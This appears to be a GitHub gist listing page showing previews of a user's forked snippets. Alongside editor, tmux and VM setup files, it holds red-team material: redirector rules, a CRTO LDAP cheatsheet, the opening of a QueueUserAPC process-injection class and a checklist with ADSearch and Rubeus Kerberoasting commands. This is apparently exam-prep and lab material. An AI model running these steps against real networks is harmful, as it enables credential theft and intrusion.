Skip to content

Instantly share code, notes, and snippets.

@swtornio
swtornio / .htaccess
Created July 13, 2026 14:01 — forked from curi0usJack/.htaccess
FYI THIS IS NO LONGER AN .HTACCESS FILE. SEE COMMENTS BELOW. DON'T WORRY, IT'S STILL EASY.
#
# TO-DO: set |DESTINATIONURL| below to be whatever you want e.g. www.google.com. Do not include "http(s)://" as a prefix. All matching requests will be sent to that url. Thanks @Meatballs__!
#
# Note this version requires Apache 2.4+
#
# Save this file into something like /etc/apache2/redirect.rules.
# Then in your site's apache conf file (in /etc/apache2/sites-avaiable/), put this statement somewhere near the bottom
#
# Include /etc/apache2/redirect.rules
#
@swtornio
swtornio / CRTO LDAP Search Commands Cheatsheet 1.0.md
Created May 14, 2026 22:47 — forked from GregDurys/CRTO LDAP Search Commands Cheatsheet 1.0.md
LDAP queries for CRTO exam prep - TrustedSec BOF ldapsearch format, anonymised

All queries use the TrustedSec CS-Situational-Awareness BOF ldapsearch, not OpenLDAP ldapsearch. Syntax: ldapsearch <filter> [--attributes] [--count] [--scope] [--hostname] [--dn] [--ldaps]. Default scope is subtree, --dn sets the search base, --hostname targets a specific DC.

Domains

Generic Role
megacorp.com Local domain
foreign.com Foreign domain

Machines

using System;
using System.IO;
using System.Security.Cryptography;
using System.Runtime.Serialization.Formatters.Binary;
namespace hawktracewsus
{
class Program
{
static void Main()
@swtornio
swtornio / gist:902a21379cd39ef6ebcd9071a157e370
Created May 12, 2025 17:52
bypass etc/passwd lock error for apt upgrade in wsl1
# 1. Move the dpkg info directory out of the way
sudo mv /var/lib/dpkg/info /var/lib/dpkg/info_silent
# 2. Recreate an empty info directory so dpkg won’t error out on missing files
sudo mkdir /var/lib/dpkg/info
# 3. Refresh and fix any half-installed packages
sudo apt-get update
sudo apt-get -f install
# Red Team Checklist
## Kerberoasting
Find SPNS (can also be found from ADExplorer snapshot)
`C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(servicePrincipalName=*))" --attributes cn,servicePrincipalName,samAccountName`
Roast individually
`C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast /user:sqlsvc /nowrap`
@swtornio
swtornio / install.sh
Created October 14, 2024 14:01 — forked from ikr4-m/install.sh
Hyper-V Enhanced Session for Debian
#!/bin/sh
# This script based on linux-vm-tools for Ubuntu 22.02.
# Thanks to https://github.com/Hinara/linux-vm-tools/ to script
# This script is for Ubuntu 22.04 Jammy Jellyfish to download and install XRDP+XORGXRDP via
# source.
#
# Major thanks to: http://c-nergy.be/blog/?p=11336 for the tips.
#
@swtornio
swtornio / tmux.conf
Created September 16, 2024 12:53
Basic tmux config with logging
set -g history-limit 9999999
set -g mouse on
unbind -n MouseDrag1Pane
set-window-option -g mode-keys vi
set -g base-index 0 # Start window numbers at 0
# Log all panes by default to $HOME/tmux_logs
run-shell -b 'if [ ! -d "$HOME/tmux_logs" ];then mkdir $HOME/tmux_logs; fi'
# Prefix + c: Enable logging by default when a new window is created
bind c new-window\; pipe-pane -o 'bash -c "while IFS= read -r line; do echo \"\$(date +%%Y%%m%%dT%%H%%M%%SZ%%z): \$line\"; done" >>$HOME/tmux_logs/"'%Y-%m-%d-%H:%M:%S'-win#I-pane#P-#W-#S-tmux.log"'
@swtornio
swtornio / DInjectQueuerAPC.cs
Created September 13, 2024 15:24 — forked from jfmaes/DInjectQueuerAPC.cs
.NET Process injection in a new process with QueueUserAPC using D/invoke - compatible with gadgettojscript
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
namespace DinjectorWithQUserAPC
{
public class Program
syntax on
filetype indent on
set number
set shiftwidth=4
set expandtab
set nowrap
@swtornio
swtornio / 2serv.py
Created February 15, 2023 19:29 — forked from phrawzty/2serv.py
simple python http server to dump request headers
#!/usr/bin/env python2
import SimpleHTTPServer
import SocketServer
import logging
PORT = 8000
class GetHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):